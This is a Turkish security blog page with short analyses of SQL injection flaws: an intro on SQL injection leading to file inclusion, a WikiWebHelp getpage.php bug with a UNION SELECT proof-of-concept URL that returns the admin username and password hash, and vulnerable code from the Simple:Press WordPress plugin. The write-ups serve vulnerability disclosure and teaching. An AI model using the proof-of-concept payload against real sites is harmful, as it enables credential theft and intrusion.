SQL Injection Üzerinden LFI

SQL Injection üzerinden LFI bug’ları yakalamak her zaman karşılaşılabilecek bir durum olmasa bile karşılaşıldığı zaman çok kullanışlı olabilen bir zafiyet türü. Söz konusu zafiyet, uygulamanın DBMS’te yaptığı sorgu sonucunda dönen kolonlara ait verileri include, require, include_once, require_once gibi fonksiyonlara parametre olarak verdiğinde ortaya çıkmakta.Eğer şanslıysanız, aşağıdaki gibi PHP’nin vereceği hata mesajlarından böyle eğlenceli bir bug’ı yakaladığınızı tespite debilirsiniz.

[Analiz] WikiWebHelp SQLi Vuln

Selamlar blogum ve varsa eğer okuyucularım :] geçen gün ki advisory'nin basit bir analizini yapayım dedim hemde blog boş durmasın :)) getpage.php dosyasında id parametresi olduğu gibi SQL koduna dahil ediliyor herşey bundan ibaret :))

handlers/getpage.php
---[snip]---
4 if($page==null) $page = $_GET['id'];
5
6 $sql = "SELECT * FROM page INNER JOIN node ON node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---


# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7
+FROM+user+LIMIT+1

Response: admin:21232f297a57a5a743894a0e4a801fc3

Daha "hardcoded" exploit'ler ve vulnerability'ler bulurumda buraya yazarım umarım :}

ciao..

[Analiz] Simple:Press WP Plugin SQL Inj.

Advisory'e buradan [1] ulaşabilirsiniz.
sf-header-forum.php
---[snip]---
...
389 if(isset($_GET['value']) ? $sfvars['searchvalue'] = stripslashes(urldecode($_GET['value'])) : $sfvars['searchvalue'] = '');
...
---[snip]---

Global değişkenler kullanılmış ve ataması yapılırken $sfvars['searchvalue'] değeri kontrol edilmeden atanmış. Daha sonra bu global değişken birazdan göstereceğim şekilde sql sorgularının içinde kullanılmış. ve öldürücü nokta; "no single qoutes" :)

Global değişkenler kullanmak aslında riskli bir durum. Çünkü örnekteki gibi biryerde atamasını yaptığınız zaman kullanırken nerde ne ataması yaptığınızı unutup kullanabiliyorsunuz. Bu tamamen güvenlikte insan faktörüyle ilgili birşey. İnsan unutabilir, insan kusursuz değil.

sf-database.php
---[snip]---
...
401 $searchvalue=urldecode($sfvars['searchvalue']);
...
404 if($sfvars['searchtype'] == 6)
...
409 $ANDWHERE = " AND topic_status_flag=".$sfvars['searchvalue']." ";
410
411 } elseif($sfvars['searchtype'] == 8)
...
414 $userid = $sfvars['searchvalue'];
415 $SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";
416 $MATCH = "";
417 $ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";
418
419 } elseif($sfvars['searchtype'] == 9)
...
422 $userid = $sfvars['searchvalue'];
...
425 $ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";
...
---[snip]---

Görüldüğü gibi kalın olarak işaretlenmiş satırlarda değişkenler tek tırnak kullanılmadan sorgulara dahil edilmiş buda zafiyetin ortaya çıkmasına sebep oluyor. Vendor istediği kadar tüm GET, POST vs.. dizilerini filterelesin, tek tırnak faktörü olmadığı zaman hiçbir işe yaramıyor bu çabalar :) benzer bir webERP advisory'sinde de vardı ve vendor ısrarla tüm GET, POST dizilerini filtrelediğini ısrar ediyordu. Noldu? Video çektik yolladık başarıyla exploit ettik hehe :)

[1] http://www.exploit-db.com/exploits/14198/